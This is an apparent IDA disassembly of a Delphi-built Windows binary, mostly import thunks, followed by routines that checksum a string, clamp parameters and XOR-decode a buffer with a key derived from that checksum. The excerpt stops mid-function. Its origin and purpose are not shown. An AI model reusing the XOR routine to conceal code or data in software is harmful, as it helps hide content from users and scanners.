; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_400064E8	proc near		; CODE XREF: sub_4001464C+32p
		jmp	ds:dword_40024604
sub_400064E8	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_400064F0	proc near		; CODE XREF: sub_4000C710+22p
					; sub_4000C710+2Bp ...
		jmp	ds:dword_400245FC
sub_400064F0	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_400064F8	proc near		; CODE XREF: sub_40007BB4+37p
					; sub_40007EBC+58p ...
		jmp	ds:dword_400245F8
sub_400064F8	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40006500	proc near		; CODE XREF: .itext:40019475p
		jmp	ds:dword_400245F4
sub_40006500	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40006508	proc near		; CODE XREF: sub_4000C69C+2Ap
					; sub_4000C69C+3Ap ...
		jmp	ds:dword_400245F0
sub_40006508	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40006510	proc near		; CODE XREF: sub_400171BC+E7p
					; sub_400171BC+110p
		jmp	ds:dword_400245EC
sub_40006510	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40006518	proc near		; CODE XREF: sub_40012E54+23p
					; sub_40013448+11p ...
		jmp	ds:dword_400245E8
sub_40006518	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40006520	proc near		; CODE XREF: sub_40012AF4+Fp
					; sub_40012C6C+16p ...
		jmp	ds:dword_400245E4
sub_40006520	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40006528	proc near		; CODE XREF: sub_4000AAF4+53p
					; sub_4000AAF4+7Cp
		jmp	ds:dword_400245E0
sub_40006528	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40006530	proc near		; CODE XREF: sub_40016F88+46p
		jmp	ds:dword_400245DC
sub_40006530	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40006538	proc near		; CODE XREF: sub_40016F88+Dp
		jmp	ds:dword_400245D8
sub_40006538	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40006540	proc near		; CODE XREF: sub_4000A81C+1Fp
		jmp	ds:dword_400245D4
sub_40006540	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40006548	proc near		; CODE XREF: sub_40006758+28p
		jmp	ds:dword_400245D0
sub_40006548	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40006550	proc near		; CODE XREF: sub_40016F88+3Dp
		jmp	ds:dword_400245CC
sub_40006550	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40006558	proc near		; CODE XREF: sub_4000BD44+10p
		jmp	ds:dword_400245C8
sub_40006558	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40006560	proc near		; CODE XREF: sub_4000C5B4+4p
					; sub_4000C5D0+13p ...
		jmp	ds:dword_400245C4
sub_40006560	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40006568	proc near		; CODE XREF: sub_40009414+7Ep
					; sub_40009590+8Cp
		jmp	ds:dword_400245C0
sub_40006568	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40006570	proc near		; CODE XREF: sub_400080E8+21p
		jmp	ds:dword_400245BC
sub_40006570	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40006578	proc near		; CODE XREF: .itext:400198D8p
		jmp	ds:dword_400245B8
sub_40006578	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40006580	proc near		; CODE XREF: sub_4000C410p
		jmp	ds:dword_400245B4
sub_40006580	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40006588	proc near		; CODE XREF: sub_400092B0+4p
		jmp	ds:dword_400245B0
sub_40006588	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40006590	proc near		; CODE XREF: sub_4000A868+1Ep
					; sub_4000A8B4+13p
		jmp	ds:dword_400245AC
sub_40006590	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40006598	proc near		; CODE XREF: sub_4000ADE0+41p
					; sub_4000ADE0+5Cp ...
		jmp	ds:dword_400245A8
sub_40006598	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_400065A0	proc near		; CODE XREF: sub_4000C4D8+6p
					; sub_4000D28C+9p ...
		jmp	ds:dword_400245A4
sub_400065A0	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_400065A8	proc near		; CODE XREF: sub_4000C4D8+17p
					; sub_4000D260+19p ...
		jmp	ds:dword_400245A0
sub_400065A8	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_400065B0	proc near		; CODE XREF: sub_4000AF68+54p
					; sub_4000AF68+6Fp
		jmp	ds:dword_4002459C
sub_400065B0	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_400065B8	proc near		; CODE XREF: .itext:4001942Dp
					; .itext:4001949Dp
		jmp	ds:dword_40024598
sub_400065B8	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_400065C0	proc near		; CODE XREF: sub_400171BC+55p
		jmp	ds:dword_40024594
sub_400065C0	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_400065C8	proc near		; CODE XREF: sub_40009414+78p
					; sub_40009590+86p ...
		jmp	ds:dword_40024590
sub_400065C8	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_400065D0	proc near		; CODE XREF: sub_400179D4+5p
					; sub_400179D4+16p ...
		jmp	ds:dword_4002458C
sub_400065D0	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_400065D8	proc near		; CODE XREF: sub_4000B830+Ep
		jmp	ds:dword_40024588
sub_400065D8	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_400065E0	proc near		; CODE XREF: sub_400133D4+2Fp
					; sub_4001394C+1Fp ...
		jmp	ds:dword_40024584
sub_400065E0	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_400065E8	proc near		; CODE XREF: sub_40012AF4+5Bp
					; sub_40012C6C+5Dp ...
		jmp	ds:dword_40024580
sub_400065E8	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_400065F0	proc near		; CODE XREF: sub_400173FC+3Bp
		jmp	ds:dword_4002457C
sub_400065F0	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_400065F8	proc near		; CODE XREF: sub_40016F88+29p
		jmp	ds:dword_40024578
sub_400065F8	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40006600	proc near		; CODE XREF: sub_40016F88+31p
		jmp	ds:dword_40024574
sub_40006600	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40006608	proc near
		jmp	ds:dword_40024570
sub_40006608	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40006610	proc near		; CODE XREF: sub_400165F0+3Bp
					; sub_400165F0+80p
		jmp	ds:dword_4002456C
sub_40006610	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40006618	proc near		; CODE XREF: sub_400171BC+12Ap
		jmp	ds:dword_40024568
sub_40006618	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40006620	proc near		; CODE XREF: sub_4000C758+4p
		jmp	ds:dword_40024564
sub_40006620	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40006628	proc near		; CODE XREF: sub_4000C764+4p
					; sub_4000C770+4p
		jmp	ds:dword_40024560
sub_40006628	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40006630	proc near		; CODE XREF: sub_400171BC+F8p
		jmp	ds:dword_4002455C
sub_40006630	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40006638	proc near		; CODE XREF: sub_40016F88+1Bp
		jmp	ds:dword_40024558
sub_40006638	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40006640	proc near		; CODE XREF: sub_400179D4+11p
					; sub_400179D4+22p
		jmp	ds:dword_40024554
sub_40006640	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40006648	proc near		; CODE XREF: sub_4000ADE0+1Dp
					; sub_4000B488+6Bp
		jmp	ds:dword_40024550
sub_40006648	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40006650	proc near		; CODE XREF: sub_4000C77C+8p
					; sub_4000C78C+8p
		jmp	ds:dword_4002454C
sub_40006650	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40006658	proc near		; CODE XREF: sub_400171BC+179p
		jmp	ds:dword_40024548
sub_40006658	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40006660	proc near		; CODE XREF: sub_4000AF68+5Ap
					; sub_4000AF68+75p ...
		jmp	ds:dword_40024544
sub_40006660	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40006668	proc near		; CODE XREF: .itext:4001948Ep
		jmp	ds:dword_40024540
sub_40006668	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40006670	proc near		; CODE XREF: sub_40015270+ABp
		jmp	ds:dword_40024538
sub_40006670	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40006678	proc near		; CODE XREF: sub_40014F8C+1D1p
		jmp	ds:dword_40024534
sub_40006678	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40006680	proc near		; CODE XREF: sub_4001567C+10Bp
		jmp	ds:dword_40024530
sub_40006680	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40006688	proc near		; CODE XREF: sub_400151D0+63p
		jmp	ds:dword_4002452C
sub_40006688	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40006690	proc near		; CODE XREF: sub_40015840+6Cp
		jmp	ds:dword_40024528
sub_40006690	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40006698	proc near		; CODE XREF: sub_40015C34+78p
		jmp	ds:dword_40024524
sub_40006698	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_400066A0	proc near		; CODE XREF: sub_40015430+19p
		jmp	ds:dword_40024520
sub_400066A0	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_400066A8	proc near		; CODE XREF: sub_4001567C+4Ap
		jmp	ds:dword_4002451C
sub_400066A8	endp

; ---------------------------------------------------------------------------
		align 10h
		db 0FFh
		db  25h	; %
		db  18h	;  OFF32 SEGDEF	[_idata,40024518]
		db  45h	; E
		db    2
		db  40h	; @
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_400066B8	proc near		; CODE XREF: sub_4001567C+69p
					; sub_4001567C+8Dp ...
		jmp	ds:dword_40024514
sub_400066B8	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_400066C0	proc near		; CODE XREF: sub_40015918+26p
		jmp	ds:dword_40024510
sub_400066C0	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_400066C8	proc near		; CODE XREF: sub_40015380+1Fp
		jmp	ds:dword_4002450C
sub_400066C8	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_400066D0	proc near		; CODE XREF: sub_40015478+26p
					; sub_40015478+35p ...
		jmp	ds:dword_40024508
sub_400066D0	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_400066D8	proc near		; CODE XREF: sub_40015840+56p
		jmp	ds:dword_40024504
sub_400066D8	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_400066E0	proc near		; CODE XREF: sub_40015600+41p
					; sub_40015600+67p
		jmp	ds:dword_40024500
sub_400066E0	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_400066E8	proc near		; CODE XREF: sub_40015600+4Cp
					; sub_40015600+72p
		jmp	ds:dword_400244FC
sub_400066E8	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_400066F0	proc near		; CODE XREF: sub_400155D0+29p
		jmp	ds:dword_400244F8
sub_400066F0	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_400066F8	proc near		; CODE XREF: sub_400155A4+25p
		jmp	ds:dword_400244F4
sub_400066F8	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40006700	proc near		; CODE XREF: sub_40015600+Cp
		jmp	ds:dword_400244F0
sub_40006700	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40006708	proc near		; CODE XREF: sub_4000BB60+Dp
					; sub_4000BB80+1p
		jmp	ds:dword_400244E4
sub_40006708	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40006710	proc near		; CODE XREF: sub_4000AF68+37p
		jmp	ds:dword_400244E8
sub_40006710	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40006718	proc near		; CODE XREF: sub_4001567C+2Ep
					; sub_40015918+9p
		jmp	ds:dword_400244E0
sub_40006718	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40006720	proc near		; CODE XREF: sub_40014D5C+Ap
		jmp	ds:dword_400244DC
sub_40006720	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40006728	proc near		; CODE XREF: sub_4000BDA0+75p
					; sub_4000BDA0+84p
		jmp	ds:dword_400244D8
sub_40006728	endp

; ---------------------------------------------------------------------------
		align 10h
		db 0FFh
		db  25h	; %
		db 0D4h	; Ô OFF32 SEGDEF [_idata,400244D4]
		db  44h	; D
		db    2
		db  40h	; @
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40006738	proc near		; CODE XREF: sub_4000ADE0+F2p
					; sub_4000AF68+97p
		jmp	ds:dword_400244D0
sub_40006738	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40006740	proc near		; CODE XREF: sub_4000AF68+ADp
		jmp	ds:dword_400244CC
sub_40006740	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40006748	proc near		; CODE XREF: sub_4001567C+F7p
					; sub_40015918+37p
		jmp	ds:dword_400244C8
sub_40006748	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_40006750	proc near		; CODE XREF: sub_40017A1C+E2p
					; sub_40017A1C+137p
		xchg	eax, edx
		call	sub_40002DFC
		retn
sub_40006750	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40006758	proc near		; DATA XREF: .text:40018330o
		push	ebp
		mov	ebp, esp
		xor	eax, eax
		push	ebp
		push	offset loc_40006793
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		inc	ds:dword_4001E800
		jnz	short loc_40006785
		cmp	ds:dword_4001E804, 0
		jz	short loc_40006785
		mov	eax, ds:dword_4001E804
		push	eax
		call	sub_40006548	; FreeLibrary


loc_40006785:				; CODE XREF: sub_40006758+17j
					; sub_40006758+20j
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_4000679A


loc_40006792:				; CODE XREF: sub_40006758+40j
		retn
; ---------------------------------------------------------------------------


loc_40006793:				; DATA XREF: sub_40006758+6o
		jmp	loc_40004204
; ---------------------------------------------------------------------------
		jmp	short loc_40006792
; ---------------------------------------------------------------------------


loc_4000679A:				; CODE XREF: sub_40006758:loc_40006792j
					; DATA XREF: sub_40006758+35o
		pop	ebp
		retn
sub_40006758	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4000679C	proc near		; CODE XREF: sub_4000684C+C4p

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFF0h
		push	ebx
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		call	sub_40004D38
		xor	eax, eax
		push	ebp
		push	offset loc_40006838
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		mov	[ebp+var_10], 0
		mov	[ebp+var_C], 0
		mov	eax, [ebp+var_4]
		test	eax, eax
		jz	short loc_400067D6
		sub	eax, 4
		mov	eax, [eax]


loc_400067D6:				; CODE XREF: sub_4000679C+33j
		mov	ecx, eax
		test	ecx, ecx
		jle	short loc_4000680F
		mov	ebx, 1


loc_400067E1:				; CODE XREF: sub_4000679C+5Aj
		mov	eax, [ebp+var_4]
		movzx	eax, byte ptr [eax+ebx-1]
		movzx	eax, al
		xor	edx, edx
		add	[ebp+var_10], eax
		adc	[ebp+var_C], edx
		inc	ebx
		dec	ecx
		jnz	short loc_400067E1
		jmp	short loc_4000680F
; ---------------------------------------------------------------------------


loc_400067FA:				; CODE XREF: sub_4000679C+80j
					; sub_4000679C:loc_40006820j
		push	0
		push	2
		mov	eax, [ebp+var_10]
		mov	edx, [ebp+var_C]
		call	sub_400056C0
		mov	[ebp+var_10], eax
		mov	[ebp+var_C], edx


loc_4000680F:				; CODE XREF: sub_4000679C+3Ej
					; sub_4000679C+5Cj
		cmp	[ebp+var_C], 0
		jnz	short loc_40006820
		cmp	[ebp+var_10], 0FFh
		ja	short loc_400067FA
		jmp	short loc_40006822
; ---------------------------------------------------------------------------


loc_40006820:				; CODE XREF: sub_4000679C+77j
		jg	short loc_400067FA


loc_40006822:				; CODE XREF: sub_4000679C+82j
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_4000683F


loc_4000682F:				; CODE XREF: sub_4000679C+A1j
		lea	eax, [ebp+var_4]
		call	sub_40004884
		retn
; ---------------------------------------------------------------------------


loc_40006838:				; DATA XREF: sub_4000679C+15o
		jmp	loc_40004204
; ---------------------------------------------------------------------------
		jmp	short loc_4000682F
; ---------------------------------------------------------------------------


loc_4000683F:				; CODE XREF: sub_4000679C+9Bj
					; DATA XREF: sub_4000679C+8Eo
		mov	eax, [ebp+var_10]
		mov	edx, [ebp+var_C]
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_4000679C	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4000684C	proc near		; CODE XREF: sub_40006A2C+53p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		mov	[ebp+var_4], edx
		mov	ebx, eax
		mov	eax, [ebp+var_4]
		call	sub_40004D38
		xor	eax, eax
		push	ebp
		push	offset loc_40006948
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		mov	dword ptr [ebx], 0
		mov	dword ptr [ebx+4], 0
		mov	dword ptr [ebx+8], 0
		mov	dword ptr [ebx+0Ch], 0
		mov	dword ptr [ebx+10h], 0
		mov	dword ptr [ebx+14h], 0
		cmp	[ebp+arg_C], 0
		jnz	short loc_400068A3
		cmp	[ebp+arg_8], 1
		jnb	short loc_400068B3
		jmp	short loc_400068A5
; ---------------------------------------------------------------------------


loc_400068A3:				; CODE XREF: sub_4000684C+4Dj
		jge	short loc_400068B3


loc_400068A5:				; CODE XREF: sub_4000684C+55j
		mov	[ebp+arg_8], 1
		mov	[ebp+arg_C], 0


loc_400068B3:				; CODE XREF: sub_4000684C+53j
					; sub_4000684C:loc_400068A3j
		cmp	[ebp+arg_C], 0
		jnz	short loc_400068C1
		cmp	[ebp+arg_8], 64h
		jbe	short loc_400068D1
		jmp	short loc_400068C3
; ---------------------------------------------------------------------------


loc_400068C1:				; CODE XREF: sub_4000684C+6Bj
		jle	short loc_400068D1


loc_400068C3:				; CODE XREF: sub_4000684C+73j
		mov	[ebp+arg_8], 63h
		mov	[ebp+arg_C], 0


loc_400068D1:				; CODE XREF: sub_4000684C+71j
					; sub_4000684C:loc_400068C1j
		cmp	[ebp+arg_4], 0
		jnz	short loc_400068DF
		cmp	[ebp+arg_0], 1
		jnb	short loc_400068EF
		jmp	short loc_400068E1
; ---------------------------------------------------------------------------


loc_400068DF:				; CODE XREF: sub_4000684C+89j
		jge	short loc_400068EF


loc_400068E1:				; CODE XREF: sub_4000684C+91j
		mov	[ebp+arg_0], 2
		mov	[ebp+arg_4], 0


loc_400068EF:				; CODE XREF: sub_4000684C+8Fj
					; sub_4000684C:loc_400068DFj
		cmp	[ebp+arg_4], 0
		jnz	short loc_400068FD
		cmp	[ebp+arg_0], 64h
		jbe	short loc_4000690D
		jmp	short loc_400068FF
; ---------------------------------------------------------------------------


loc_400068FD:				; CODE XREF: sub_4000684C+A7j
		jle	short loc_4000690D


loc_400068FF:				; CODE XREF: sub_4000684C+AFj
		mov	[ebp+arg_0], 64h
		mov	[ebp+arg_4], 0


loc_4000690D:				; CODE XREF: sub_4000684C+ADj
					; sub_4000684C:loc_400068FDj
		mov	eax, [ebp+var_4]
		call	sub_4000679C
		mov	[ebx], eax
		mov	[ebx+4], edx
		mov	eax, [ebp+arg_8]
		mov	[ebx+8], eax
		mov	eax, [ebp+arg_C]
		mov	[ebx+0Ch], eax
		mov	eax, [ebp+arg_0]
		mov	[ebx+10h], eax
		mov	eax, [ebp+arg_4]
		mov	[ebx+14h], eax
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_4000694F


loc_4000693F:				; CODE XREF: sub_4000684C+101j
		lea	eax, [ebp+var_4]
		call	sub_40004884
		retn
; ---------------------------------------------------------------------------


loc_40006948:				; DATA XREF: sub_4000684C+15o
		jmp	loc_40004204
; ---------------------------------------------------------------------------
		jmp	short loc_4000693F
; ---------------------------------------------------------------------------


loc_4000694F:				; CODE XREF: sub_4000684C+FBj
					; DATA XREF: sub_4000684C+EEo
		pop	ebx
		pop	ecx
		pop	ebp
		retn	10h
sub_4000684C	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40006958	proc near		; CODE XREF: sub_40006A2C+60p

var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFE0h
		push	ebx
		push	esi
		push	edi
		mov	esi, eax
		lea	edi, [ebp+var_20]
		push	ecx
		mov	ecx, 6
		rep movsd
		pop	ecx
		mov	[ebp+var_8], ecx
		mov	[ebp+var_4], edx
		mov	eax, [ebp+var_4]
		call	sub_40004D38
		xor	eax, eax
		push	ebp
		push	offset loc_40006A1C
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		mov	esi, [ebp+var_4]
		mov	eax, esi
		test	eax, eax
		jz	short loc_40006999
		sub	eax, 4
		mov	eax, [eax]


loc_40006999:				; CODE XREF: sub_40006958+3Aj
		mov	edx, [ebp+var_8]
		xchg	eax, edx
		call	sub_40004F74
		mov	ebx, [ebp+var_18]
		mov	eax, esi
		test	eax, eax
		jz	short loc_400069B0
		sub	eax, 4
		mov	eax, [eax]


loc_400069B0:				; CODE XREF: sub_40006958+51j
		mov	edi, eax
		test	edi, edi
		jle	short loc_40006A06
		mov	esi, 1


loc_400069BB:				; CODE XREF: sub_40006958+ACj
		mov	eax, ebx
		cdq
		cmp	edx, [ebp+var_C]
		jnz	short loc_400069CA
		cmp	eax, [ebp+var_10]
		jbe	short loc_400069CF
		jmp	short loc_400069CC
; ---------------------------------------------------------------------------


loc_400069CA:				; CODE XREF: sub_40006958+69j
		jle	short loc_400069CF


loc_400069CC:				; CODE XREF: sub_40006958+70j
		mov	ebx, [ebp+var_18]


loc_400069CF:				; CODE XREF: sub_40006958+6Ej
					; sub_40006958:loc_400069CAj
		mov	eax, [ebp+var_8]
		call	sub_40004DA0
		lea	eax, [eax+esi-1]
		push	eax
		mov	eax, [ebp+var_4]
		movzx	eax, byte ptr [eax+esi-1]
		movzx	eax, al
		xor	edx, edx
		push	edx
		push	eax
		mov	eax, ebx
		cdq
		add	eax, [ebp+var_20]
		adc	edx, [ebp+var_1C]
		xor	eax, [esp+44h+var_44]
		xor	edx, [esp+44h+var_40]
		add	esp, 8
		pop	edx
		mov	[edx], al
		inc	ebx
		inc	esi
		dec	edi
		jnz	short loc_400069BB


loc_40006A06:				; CODE XREF: sub_40006958+5Cj
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_40006A23


loc_40006A13:				; CODE XREF: sub_40006958+C9j
		lea	eax, [ebp+var_4]
		call	sub_40004884
		retn
; ---------------------------------------------------------------------------


loc_40006A1C:				; DATA XREF: sub_40006958+28o
		jmp	loc_40004204
; ---------------------------------------------------------------------------
		jmp	short loc_40006A13
; ---------------------------------------------------------------------------


loc_40006A23:				; CODE XREF: sub_40006958+C3j
					; DATA XREF: sub_40006958+B6o
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_40006958	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40006A2C	proc near		; CODE XREF: sub_40017374+4Fp
					; .itext:40019618p ...

var_20		= byte ptr -20h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFE0h
		push	ebx
		mov	ebx, ecx
		mov	[ebp+var_8], edx
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		call	sub_40004D38
		mov	eax, [ebp+var_8]
		call	sub_40004D38
		xor	eax, eax
		push	ebp
		push	offset loc_40006AAC
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		mov	eax, [ebp+var_4]
		test	eax, eax
		jz	short loc_40006A65
		sub	eax, 4
		mov	eax, [eax]


loc_40006A65:				; CODE XREF: sub_40006A2C+32j
		mov	edx, ebx
		xchg	eax, edx
		call	sub_40004F74
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		lea	eax, [ebp+var_20]
